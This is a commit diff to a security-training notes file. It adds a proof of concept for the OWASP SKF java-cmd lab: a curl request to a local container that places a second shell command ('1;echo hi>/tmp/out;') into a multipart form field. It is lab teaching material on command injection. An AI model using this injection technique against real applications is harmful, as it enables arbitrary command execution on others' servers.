Update proof.md

Sectraining/proof.md

@@ -14,3 +14,15 @@ curl 'http://localhost:5000/update' \
   -H 'Cookie: JSESSIONID=DA8353D048C3C8B90D33596A10B2B360' \
   --data-raw 'color=yellow2'
 ```
+
+## ## blabla1337/owasp-skf-lab:java-cmd
+
+docker run -p5000:5000 blabla1337/owasp-skf-lab:java-cmd
+
+drop malicious payload in remote filesystem
+```bash
+curl 'http://localhost:5000/home' \
+   -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQJEtZoqQ8I4ZmYVs' \
+  --data-raw $'------WebKitFormBoundaryQJEtZoqQ8I4ZmYVs\r\nContent-Disposition: form-data; name="size"\r\n\r\n1;echo hi>/tmp/out;\r\n------WebKitFormBoundaryQJEtZoqQ8I4ZmYVs--\r\n' \
+  --compressed
+```